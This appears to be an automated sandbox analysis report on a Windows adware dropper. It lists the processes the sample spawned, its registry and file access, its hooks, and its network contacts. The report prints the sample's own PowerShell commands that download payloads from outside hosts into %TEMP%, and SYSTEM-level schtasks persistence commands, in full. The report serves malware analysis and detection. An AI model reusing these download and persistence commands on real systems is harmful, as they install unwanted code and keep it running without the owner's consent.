      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=UUUCC.install.finish','%TEMP%\csp3CB5.tmp')" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=mio.install.finish','%TEMP%\csp4104.tmp')" (Show Process)
      Spawned process "QQBrowser.exe" with commandline "-ptid=che0812 -silence" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=QQBrowser.install.finish','%TEMP%\csp4693.tmp')" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=GubedZL.install.finish','%TEMP%\csp508D.tmp')" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient;$client.DownloadFile('http://dfrs12kz9qye2.cloudfront.net//v4//sofclean//vboxxharddisk_vb47a275fd-833fcbff?action=bbuc.1','%TEMP%\ucD52C.tmp')" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.14','%TEMP%\psgD63A.tmp')" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.1','%TEMP%\cswD966.tmp')" (Show Process)
      Spawned process "schtasks.exe" with commandline "schtasks /Create /SC HOURLY /MO 2 /ST 09:45:00 /TN "Milimili" /TR "\"%PROGRAMFILES%\MIO\MIO.exe\" -bindurl http://api.suibianmaimaicom.com/vboxxharddisk_vb47a275fd-833fcbff.dat cmd=" /RU "SYSTEM" /F /RL HIGHEST" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.1','%TEMP%\psg11ED.tmp')" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.3','%TEMP%\psg1B52.tmp')" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.4','%TEMP%\psg256B.tmp')" (Show Process)
      Spawned process "cmd.exe" with commandline "cmd /c schtasks /Create /SC HOURLY /MO 3 /ST 00:37:00 /TN "Windows-PG" /TR "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe %WINDIR%\psgo\psgo.ps1" /RU "SYSTEM" /F /RL HIGHEST" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.4','%TEMP%\csw263B.tmp')" (Show Process)
      Spawned process "cmd.exe" with commandline "/c schtasks /Run /TN Milimili" (Show Process)
      Spawned process "schtasks.exe" with commandline "schtasks /Create /SC HOURLY /MO 3 /ST 00:37:00 /TN "Windows-PG" /TR "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe %WINDIR%\psgo\psgo.ps1" /RU "SYSTEM" /F /RL HIGHEST" (Show Process)
      Spawned process "schtasks.exe" with commandline "schtasks /Run /TN Milimili" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.6','%TEMP%\psg36A2.tmp')" (Show Process)
      Spawned process "cmd.exe" with commandline "/c schtasks /Run /TN Windows-PG" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mid.3','%TEMP%\csw3C06.tmp')" (Show Process)
      Spawned process "schtasks.exe" with commandline "schtasks /Run /TN Windows-PG" (Show Process)
      source
      Monitored Target
      relevance
      8/10
  • Hiding 2 Malicious Indicators
    • All indicators are available only in the private webservice or standalone version

  • Suspicious Indicators 34

  • Anti-Reverse Engineering
    • Possibly checks for known debuggers/analysis tools
      details
      "Software\Sysinternals\%s" (Indicator: "sysinternals")
      "Sysinternals - www.sysinternals.com" (Indicator: "sysinternals")
      "Sysinternals License" (Indicator: "sysinternals")
      "\fs20 9.\tab\fs19 Disclaimer of Warranty.\caps0 \caps The software is licensed \ldblquote as-is.\rdblquote You bear the risk of using it. SYSINTERNALS gives no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this agreement cannot change. To the extent permitted under your local laws, SYSINTERNALS excludes the implied warranties of merchantability, fitness for a particular purpose and non-infringement.\par" (Indicator: "sysinternals")
      "\pard\fi-360\li360\sb120\sa120\tx360\fs20 10.\tab\fs19 Limitation on and Exclusion of Remedies and Damages. You can recover from SYSINTERNALS and its suppliers only direct damages up to U.S. $5.00. You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages.\par" (Indicator: "sysinternals")
      "\pard\li360\sb120\sa120 It also applies even if Sysinternals knew or should have known about the possibility of the damages. The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or other damages.\par" (Indicator: "sysinternals")
      "\pard\sb120\sa120 EXON\'c9RATION DE GARANTIE.\b0 Le logiciel vis\'e9 par une licence est offert \'ab tel quel \'bb. Toute utilisation de ce logiciel est \'e0 votre seule risque et p\'e9ril. Sysinternals n'accorde aucune autre garantie expresse. Vous pouvez b\'e9n\'e9ficier de droits additionnels en vertu du droit local sur la protection dues consommateurs, que ce contrat ne peut modifier. La ou elles sont permises par le droit locale, les garanties implicites de qualit\'e9 marchande, d'ad\'e9quation \'e0 un usage particulier et d'absence de contrefa\'e7on sont exclues.\par" (Indicator: "sysinternals")
      "\pard\keepn\sb120\sa120\b LIMITATION DES DOMMAGES-INT\'c9R\'caTS ET EXCLUSION DE RESPONSABILIT\'c9 POUR LES DOMMAGES.\b0 Vous pouvez obtenir de Sysinternals et de ses fournisseurs une indemnisation en cas de dommages directs uniquement \'e0 hauteur de 5,00 $ US. Vous ne pouvez pr\'e9tendre \'e0 aucune indemnisation pour les autres dommages, y compris les dommages sp\'e9ciaux, indirects ou accessoires et pertes de b\'e9n\'e9fices.\par" (Indicator: "sysinternals")
      "\pard\sb120\sa120 Elle s'applique \'e9galement, m\'eame si Sysinternals connaissait ou devrait conna\'eetre l'\'e9ventualit\'e9 d'un tel dommage. Si votre pays n'autorise pas l'exclusion ou la limitation de responsabilit\'e9 pour les dommages indirects, accessoires ou de quelque nature que ce soit, il se peut que la limitation ou l'exclusion ci-dessus ne s'appliquera pas \'e0 votre \'e9gard.\par" (Indicator: "sysinternals")
      "D:\git\SysInternals\ProcExp\Sys\Win32\Release\ProcExpDriver.pdb" (Indicator: "sysinternals")
      "als - www.sysinternals.com" (Indicator: "sysinternals")
      "{\*\generator Msftedit 5.41.21.2506;}\viewkind4\uc1\pard\brdrb\brdrs\brdrw10\brsp20 \sb120\sa120\b\f0\fs24 SYSINTERNALS SOFTWARE LICENSE TERMS\fs28\par" (Indicator: "sysinternals")
      "\pard\sb120\sa120\b0\fs19 These license terms are an agreement between Sysinternals (a wholly owned subsidiary of Microsoft Corporation) and you. Please read them. They apply to the software you are downloading from Systinternals.com, which includes the media on which you received it, if any. The terms also apply to any Sysinternals\par" (Indicator: "sysinternals")
      "\caps\fs20 2.\tab\fs19 Scope of License\caps0 .\b0 The software is licensed, not sold. This agreement only gives you some rights to use the software. Sysinternals reserves all other rights. Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement. In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may not\b\par" (Indicator: "sysinternals")
      "D:\git\SysInternals\ProcExp\Sys\x64\Release\ProcExpDriver.pdb" (Indicator: "sysinternals")
      source
      String
      relevance
      2/10
  • Environment Awareness
    • Possibly tries to implement anti-virtualization techniques
      details
      "/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=C" (Indicator: "vbox")
      "dow-split-widget.vbox.shadow-split-widget-first-is-sidebar > .shadow-split-widget-sidebar:not(.maximized) {\n border: 0;\n border-bottom: 1px solid rgb(64%, 64%, 64%);\n}\n\n.shadow-split-widget.hbox > .shadow-split-widget-sidebar:not(.maximized) {\n" (Indicator: "vbox")
      "/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=p" (Indicator: "vbox")
      "/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=U" (Indicator: "vbox")
      "/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=m" (Indicator: "vbox")
      "http://www.ourluckysites.com/?type=hp&ts=1493314713&z=4efc9b754986ee2f2a87012g2zbt4c1c6g6z7q2c8o&from=che0812&uid=VBOXXHARDDISK_VB47a275fd-833fcbff" (Indicator: "vbox")
      "/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=Q" (Indicator: "vbox")
      "/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=G" (Indicator: "vbox")
      "raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.4','" (Indicator: "vbox")
      "/dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=m" (Indicator: "vbox")
      "raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.6','" (Indicator: "vbox")
      "/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=visit.winsap.work&update3=version,2.8.12" (Indicator: "vbox")
      "/winsap/up?ptid=winsap&sid=winsap&ln=en_us&ver=2.8.12&uid=VBOXXHARDDISK_VB47a275fd-833fcbff&dp=0" (Indicator: "vbox")
      "/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=ClearLog.install.finish" (Indicator: "vbox")
      "/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=winsnare.install.finish" (Indicator: "vbox")
      "/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=WinSAP.install.finish" (Indicator: "vbox")
      "/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.14" (Indicator: "vbox")
      "/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.1" (Indicator: "vbox")
      "//v4//sofclean//vboxxharddisk_vb47a275fd-833fcbff?action=bbuc.1" (Indicator: "vbox")
      "/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.1" (Indicator: "vbox")
      source
      String
      relevance
      4/10
    • Reads the cryptographic machine GUID
      details
      "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID")
      "msiexec.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID")
      "CPK.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID")
      source
      Registry Access
      relevance
      10/10
    • Reads the windows installation date
      details
      "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION"; Key: "INSTALLDATE")
      source
      Registry Access
      relevance
      10/10
  • External Systems
    • Detected Emerging Threats Alert
      details
      Detected alert "ET POLICY Executable served from Amazon S3" (SID: 2013414, Rev: 10, Severity: 2) categorized as "Potentially Bad Traffic"
      source
      Suricata Alerts
      relevance
      10/10
  • General
    • POSTs files to a webserver
      details
      "POST /web_report HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      Accept: */*
      Accept-Charset: utf-8
      Accept-Language: zh-CN
      User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46 Safari/536.5
      Host: rcgi.video.qq.com
      Content-Length: 11
      Cache-Control: no-cache" with no payload
      source
      Network Traffic
      relevance
      5/10
    • Reads configuration files
      details
      "QQBrowser.exe" read file "%APPDATA%\Mozilla\Firefox\profiles.ini"
      source
      API Call
      relevance
      4/10
  • Installation/Persistance
    • Drops executable files
      details
      "ttttt.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"
      "UAC.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
      "hhhhh.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"
      "DataBase" has type "COM executable for DOS"
      "psi.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
      "MIO.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
      "MIO.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
      "kokoko.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
      "WinSAP.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
      "SSS.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
      source
      Binary File
      relevance
      10/10
  • Network Related
  • Remote Access Related
    • Contains indicators of bot communication commands
      details
      "cmd=" (Indicator: "cmd=")
      "schtasks /Create /SC HOURLY /MO 2 /ST 09:45:00 /TN "Milimili" /TR "\"%PROGRAMFILES%\MIO\MIO.exe\" -bindurl http://api.suibianmaimaicom.com/vboxxharddisk_vb47a275fd-833fcbff.dat cmd=" /RU "SYSTEM" /F /RL HIGHEST" (Indicator: "cmd=")
      source
      String
      relevance
      10/10
    • Contains references to WMI/WMIC
      details
      "ROOT\CIMV2" (Indicator: "root\cimv2")
      source
      String
      relevance
      10/10
  • Spyware/Information Retrieval
    • Accesses potentially sensitive information from local browsers
      details
      "CPK.exe" had access to "%PROGRAMFILES%\Google\Chrome\Application\56.0.2924.87\WidevineCdm" (Type: "FileHandle")
      "CPK.exe" had access to "C:\Program Files\Google\Chrome\Application\56.0.2924.87\WidevineCdm\_platform_specific\win_x86" (Type: "FileHandle")
      "CPK.exe" had access to "C:\Program Files\Google\Chrome\Application\56.0.2924.87\WidevineCdm\_platform_specific" (Type: "FileHandle")
      "QQBrowser.exe" had access to "%APPDATA%\Microsoft\Windows\Cookies\index.dat" (Type: "FileHandle")
      "QQBrowser.exe" had access to "%APPDATA%\Microsoft\Windows\IETldCache\index.dat" (Type: "FileHandle")
      source
      Touched Handle
      relevance
      7/10
    • Contains ability to enumerate processes/modules/threads
      details
      CreateToolhelp32Snapshot@KERNEL32.DLL from PID 00001036
      CreateToolhelp32Snapshot@KERNEL32.dll at 57798-1939-1000B580
      source
      Hybrid Analysis Technology
      relevance
      5/10
  • System Destruction
    • Marks file for deletion
      details
      "C:\winsap_update\QQBrowser.exe" marked "C:\winsap_update\Z_DS" for deletion
      "C:\winsap_update\QQBrowser.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\KNHT6272\indexv2[1].php" for deletion
      "C:\winsap_update\QQBrowser.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\KNHT6272\k[1].htm" for deletion
      "C:\winsap_update\QQBrowser.exe" marked "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\BPL0BFI3\meversion[1]" for deletion
      "C:\winsap_update\QQBrowser.exe" marked "C:\winsap_update\Z" for deletion
      source
      API Call
      relevance
      10/10
    • Opens file with deletion access rights
      details
      "CPK.exe" opened "%PROGRAMFILES%\Google\Chrome\Application\56.0.2924.87\default_apps" with delete access
      "CPK.exe" opened "%PROGRAMFILES%\Google\Chrome\Application\56.0.2924.87\Extensions" with delete access
      "CPK.exe" opened "%PROGRAMFILES%\Google\Chrome\Application\56.0.2924.87\Installer" with delete access
      "CPK.exe" opened "%PROGRAMFILES%\Google\Chrome\Application\56.0.2924.87\Locales" with delete access
      "CPK.exe" opened "%PROGRAMFILES%\Google\Chrome\Application\56.0.2924.87\VisualElements" with delete access
      "CPK.exe" opened "%PROGRAMFILES%\Google\Chrome\Application\56.0.2924.87\WidevineCdm\_platform_specific\win_x86" with delete access
      "CPK.exe" opened "%PROGRAMFILES%\Google\Chrome\Application\56.0.2924.87\WidevineCdm\_platform_specific" with delete access
      "CPK.exe" opened "%PROGRAMFILES%\Google\Chrome\Application\56.0.2924.87\WidevineCdm" with delete access
      "CPK.exe" opened "%PROGRAMFILES%\Google\Chrome\Application\56.0.2924.87" with delete access
      "CPK.exe" opened "%PROGRAMFILES%\Google\Chrome\Application\SetupMetrics" with delete access
      "CPK.exe" opened "%PROGRAMFILES%\Google\Chrome\Application" with delete access
      "QQBrowser.exe" opened "C:\winsap_update\Z_DS" with delete access
      "QQBrowser.exe" opened "C:\winsap_update\Z" with delete access
      "QQBrowser.exe" opened "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\KNHT6272\indexv2[1].php" with delete access
      "QQBrowser.exe" opened "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\KNHT6272\k[1].htm" with delete access
      "QQBrowser.exe" opened "C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BPL0BFI3\meversion[1]" with delete access
      source
      API Call
      relevance
      7/10
    • Tries to obtain a handle with write access to the physical drive
      details
      "rundll32.exe" attempted to obtain write access to "PhysicalDrive0"
      "QQBrowser.exe" attempted to obtain write access to "PhysicalDrive0"
      source
      API Call
      relevance
      10/10
  • System Security
    • Modifies proxy settings
      details
      "CPK.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
      "CPK.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
      "QQBrowser.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000")
      "QQBrowser.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER")
      "QQBrowser.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE")
      "QQBrowser.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
      "QQBrowser.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
      source
      Registry Access
      relevance
      10/10
    • Queries sensitive IE security settings
      details
      "rundll32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK")
      "CPK.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK")
      "QQBrowser.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK")
      source
      Registry Access
      relevance
      8/10
  • Unusual Characteristics
    • Installs hooks/patches the running process
      details
      "powershell.exe" wrote bytes "7739e07679a8e476be72e476d62de4761de2df7605a2e476c868e37657d1ea76bee3df76616fe4766841e2760050e27600000000ad378f768b2d8f76b6418f7600000000" to virtual address "0x74991000" (part of module "WSHIP6.DLL")
      "powershell.exe" wrote bytes "4053e2765858e376186ae376653ce4760000000000bf7b750000000056cc7b75000000007cca7b7500000000376819756a2ce476d62de47600000000206919750000000029a67b7500000000a48d197500000000f70e7b7500000000" to virtual address "0x75241000" (part of module "NSI.DLL")
      "powershell.exe" wrote bytes "638355f7" to virtual address "0x67D91FDC" (part of module "MSCORWKS.DLL")
      "powershell.exe" wrote bytes "92e6df7679a8e476be72e476d62de4761de2df7605a2e476bee3df76616fe4766841e2760050e27600000000ad378f768b2d8f76b6418f7600000000" to virtual address "0x744A1000" (part of module "WSHTCPIP.DLL")
      "powershell.exe" wrote bytes "0857b4750478bd750000000051c1267594982675ee9c267575dc2875273e2875efb22c750000000046ce7b75013d7c7538ed7c75cfcd7b7531237b75de2f7c75c4ca7b7580bb7b7552ba7b759fbb7b7592bb7b7546ba7b750abf7b7500000000" to virtual address "0x72101000" (part of module "SHFOLDER.DLL")
      "powershell.exe" wrote bytes "0857b4750478bd750000000051c1267594982675ee9c267575dc2875273e2875efb22c750000000046ce7b75013d7c7538ed7c75cfcd7b7531237b75de2f7c75c4ca7b7580bb7b7552ba7b759fbb7b7592bb7b7546ba7b750abf7b7500000000" to virtual address "0x70911000" (part of module "SHFOLDER.DLL")
      "powershell.exe" wrote bytes "6dac38d1" to virtual address "0x67D91FDC" (part of module "MSCORWKS.DLL")
      "powershell.exe" wrote bytes "5b9d798b" to virtual address "0x67D91FDC" (part of module "MSCORWKS.DLL")
      "CPK.exe" wrote bytes "4053e2765858e376186ae376653ce4760000000000bf7b750000000056cc7b75000000007cca7b7500000000376819756a2ce476d62de47600000000206919750000000029a67b7500000000a48d197500000000f70e7b7500000000" to virtual address "0x75241000" (part of module "NSI.DLL")
      "powershell.exe" wrote bytes "5d4f3e91" to virtual address "0x67D91FDC" (part of module "MSCORWKS.DLL")
      source
      Hook Detection
      relevance
      10/10
    • Reads information about supported languages
      details
      "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH")
      "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")
      source
      Registry Access
      relevance
      3/10
  • Hiding 13 Suspicious Indicators
    • All indicators are available only in the private webservice or standalone version

  • Informative 28

  • Anti-Reverse Engineering
    • Contains ability to register a top-level exception handler (often used as anti-debugging trick)
      details
      SetUnhandledExceptionFilter@KERNEL32.DLL from PID 00001036
      SetUnhandledExceptionFilter@KERNEL32.DLL from PID 00001036
      SetUnhandledExceptionFilter@KERNEL32.DLL from PID 00002620
      SetUnhandledExceptionFilter@KERNEL32.dll at 50752-3523-1004060B
      SetUnhandledExceptionFilter@KERNEL32.dll at 57798-2851-10034E8E
      SetUnhandledExceptionFilter@KERNEL32.dll at 3171-1096-10015653
      SetUnhandledExceptionFilter@KERNEL32.dll at 3171-1654-1002771A
      SetUnhandledExceptionFilter@KERNEL32.dll at 8170-62-00410D40
      SetUnhandledExceptionFilter@KERNEL32.dll at 8526-2256-0040F45E
      source
      Hybrid Analysis Technology
      relevance
      1/10
  • Environment Awareness
    • Contains ability to query machine time
      details
      GetSystemTimeAsFileTime@KERNEL32.DLL from PID 00001036
      GetSystemTimeAsFileTime@KERNEL32.DLL from PID 00002620
      GetSystemTimeAsFileTime@KERNEL32.DLL from PID 00002620
      GetSystemTimeAsFileTime@KERNEL32.DLL from PID 00002620
      GetLocalTime@KERNEL32.dll at 3171-1369-10006E32
      source
      Hybrid Analysis Technology
      relevance
      1/10
    • Contains ability to query the machine timezone
      details
      GetTimeZoneInformation@KERNEL32.dll at 50752-3532-10051233
      GetTimeZoneInformation@KERNEL32.dll at 57798-2914-10042D87
      source
      Hybrid Analysis Technology
      relevance
      1/10
    • Contains ability to query the machine version
      details
      GetVersionExW@KERNEL32.DLL from PID 00002620
      GetVersionExW@KERNEL32.DLL from PID 00002620
      GetVersionExW@KERNEL32.DLL from PID 00002620
      GetVersionExW@KERNEL32.DLL from PID 00002620
      GetVersionExW@KERNEL32.DLL from PID 00002620
      GetVersionExW@KERNEL32.DLL from PID 00002620
      GetVersionExW@KERNEL32.dll at 57798-1954-1000F0E0
      source
      Hybrid Analysis Technology
      relevance
      1/10
    • Contains ability to query the system locale
      details
      GetUserDefaultLCID@KERNEL32.dll at 50752-3794-1005FDB6
      EnumSystemLocalesW@KERNEL32.dll at 57798-1593-10051401
      EnumSystemLocalesW@KERNEL32.dll at 57798-1591-1005147E
      GetUserDefaultLCID@KERNEL32.dll at 57798-1565-10037747
      GetUserDefaultLCID@KERNEL32.dll at 57798-1589-1005199D
      EnumSystemLocalesW@KERNEL32.dll at 57798-1590-100513A5
      EnumSystemLocalesW@KERNEL32.dll at 57798-1570-1003765D
      GetUserDefaultLCID@KERNEL32.dll at 57798-3136-100513E5
      EnumSystemLocalesW@KERNEL32.dll at 3171-1106-100162F6
      GetUserDefaultLCID@KERNEL32.dll at 3171-1109-100163E0
      EnumSystemLocalesW@KERNEL32.dll at 3171-1283-10026111
      EnumSystemLocalesW@KERNEL32.dll at 3171-1286-1002616D
      GetUserDefaultLCID@KERNEL32.dll at 3171-1315-10026151
      EnumSystemLocalesW@KERNEL32.dll at 3171-1284-100261EA
      GetUserDefaultLCID@KERNEL32.dll at 3171-1282-10026709
      EnumSystemLocalesW@KERNEL32.dll at 8526-2181-0041A475
      EnumSystemLocalesW@KERNEL32.dll at 8526-2178-0041A419
      EnumSystemLocalesW@KERNEL32.dll at 8526-2167-0041ADBA
      EnumSystemLocalesW@KERNEL32.dll at 8526-2179-0041A4F2
      GetUserDefaultLCID@KERNEL32.dll at 8526-2177-0041AA15
      source
      Hybrid Analysis Technology
      relevance
      1/10
    • Makes a code branch decision directly after an API that is environment aware
      details
      Found API call GetVersionExW@KERNEL32.DLL (Target: "QQBrowser.exe"; Stream UID: "00060649-00002620-41869-7-509C1E11")
      which is directly followed by "cmp dword ptr [ebp-00000124h], 06h" and "jc 509C1EADh". See related instructions: "...
      +113 call 509C1D78h
      +118 pop ecx
      +119 lea eax, dword ptr [ebp-00000128h]
      +125 push eax
      +126 mov dword ptr [ebp-00000128h], 0000011Ch
      +136 call dword ptr [509C3090h] ;GetVersionExW
      +142 cmp dword ptr [ebp-00000124h], 06h
      +149 jc 509C1EADh" ... from PID 00002620
      source
      Hybrid Analysis Technology
      relevance
      10/10
    • Possibly tries to detect the presence of a debugger
      details
      GetProcessHeap@KERNEL32.DLL from PID 00001036
      GetProcessHeap@KERNEL32.DLL from PID 00001036
      GetProcessHeap@KERNEL32.DLL from PID 00002620
      GetProcessHeap@KERNEL32.DLL from PID 00002620
      GetProcessHeap@KERNEL32.dll at 50752-2347-10002E90
      GetProcessHeap@KERNEL32.dll at 57798-1710-1005456C
      GetProcessHeap@KERNEL32.dll at 3171-2074-100295BD
      source
      Hybrid Analysis Technology
      relevance
      1/10
    • Queries volume information
      details
      "CPK.exe" queries volume information of "C:\" at 00056905-00001036-0000010C-128311947
      source
      API Call
      relevance
      2/10
    • Queries volume information of an entire harddrive
      details
      "CPK.exe" queries volume information of "C:\" at 00056905-00001036-0000010C-128311947
      source
      API Call
      relevance
      8/10
    • Reads the registry for installed applications
      details
      "rundll32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE")
      "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE")
      "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: ""; Value: "0000000001000000780000002500530079007300740065006D0052006F006F00740025005C00730079007300740065006D00330032005C00570069006E0064006F007700730050006F007700650072005300680065006C006C005C00760031002E0030005C0050006F007700650072005300680065006C006C002E006500780065000000")
      "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: "PATH"; Value: "00000000010000005C0000002500530079007300740065006D0052006F006F00740025005C00730079007300740065006D00330032005C00570069006E0064006F007700730050006F007700650072005300680065006C006C005C00760031002E0030005C000000")
      source
      Registry Access
      relevance
      10/10
  • General
    • Contacts domains
      details
      "d3i1asoswufp5k.cloudfront.net"
      "dc44qjwal3p07.cloudfront.net"
      "d4c04g24ci6x7.cloudfront.net"
      "d2hrpnfyb3wv3k.cloudfront.net"
      "raa.qwepoii.org"
      "dhxx2phjrf4w5.cloudfront.net"
      "dfrs12kz9qye2.cloudfront.net"
      "www.ourluckysites.com"
      "api.suibianmaimaicom.com"
      "ccc.qwepoii.org"
      "d3gacmsp3jwwnv.cloudfront.net"
      "point.roseiloveyou.com"
      source
      Network Traffic
      relevance
      1/10
    • Contacts server
      details
      "52.222.149.116:80"
      "52.222.149.239:80"
      "52.222.149.132:80"
      "52.222.149.93:80"
      "158.85.62.199:80"
      "52.222.149.79:80"
      "52.222.149.201:80"
